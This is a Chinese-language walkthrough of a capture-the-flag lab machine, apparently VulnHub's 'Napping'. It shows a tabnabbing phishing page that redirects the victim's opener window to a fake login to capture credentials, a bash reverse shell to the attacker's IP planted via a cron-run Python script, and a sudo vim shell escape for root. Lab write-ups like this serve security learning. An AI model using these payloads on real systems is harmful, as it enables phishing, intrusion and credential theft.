描述

Even Admins can fall asleep on the job

This works better with VirtualBox rather than VMware ## Changelog v1.0.1 - 2021-10-30 v1.0.0 - 2021-10-22


ip扫不到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
开机按 shift

有两个选项的时候按 e

rw single init=/bin/bash

然后按下ctrl+x重启之后

使用ip a命令查看网卡

发现是ens33,然后修改一下配置文件


有两个路径自行查找
1. vim /etc/network/interfaces
2. cd etc/netplan/
ls
nano ls查看的文件名

将网卡信息改为ens33,保存后重启靶机

nano:使用快捷Ctrl+X,然后会提示输入Y保存修改、输入N放弃修改。

vi:首先需要按ESC键回到命令模式;然后输入:wq 保存文件并退出vi;最后回车即可。

nmap信息收集

主机发现

image-20221009085101502

1
2
kali  192.168.169.220
靶机 192.168.169.230

靶机ip扫描

image-20221009085234520

网页信息

image-20221009085328786

注册用户

image-20221009085950494

image-20221009090421388

钓鱼

下载网页

1
wget http://192.168.169.230/index.php

image-20221009090819973

  • 创建一个html文件,写入钓鱼网站的代码(文中该文件名为1.html) ; 注意ip
1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
<body>
<script>
if(window.opener) window.opener.parent.location.replace('http://192.168.169.220:6666/index.html');
if(window.opener != window) window.opener.parent.location.replace('http://192.168.169.220:6666/index.html');
</script>
</body>
</html>


这个代码的意思就是打开这个链接的父界面将跳到’http://192.168.169.220:6666/index.html’
  • 使用python开启一个http服务,使用nc监听钓鱼网站中使用的端口,在正常网页中填写构造的URL提交后,等待2-3分钟左右,NC就会返回一个用户名和密码

image-20221009092609667

image-20221009091650076

1
http://192.168.169.220:808/1.html
  • 提交链接

  • 得到账号密码

image-20221009093007962

1
2
username=  daniel
password= C%40ughtm3napping123

ssh

  • 网页直接登录是登录不上去的

  • ssh连接

image-20221009094843484

查看文件

image-20221009094954962

image-20221009095152608

1
2
3
第一个是判断网站是否正常启动,并打印时间
文件为query.py脚本执行写入的log文件
user.txt发现没有权限

提权

  • 在 /dev/shm 目录中创建一个反向 shell bash 脚本:
1
2
3
#!/bin/bash

bash -c 'bash -i >& /dev/tcp/192.168.169.220/7777 0>&1'
  • 更改一下 query.py 这个个脚本来让他定时反弹shell:

image-20221009101009199

  • nc 监听,等了一会得到反向shell:

image-20221009101036033

image-20221009101056997

1
sudo /usr/bin/vim -c ':!/bin/sh'

image-20221009101223033

image-20221009101311940

结束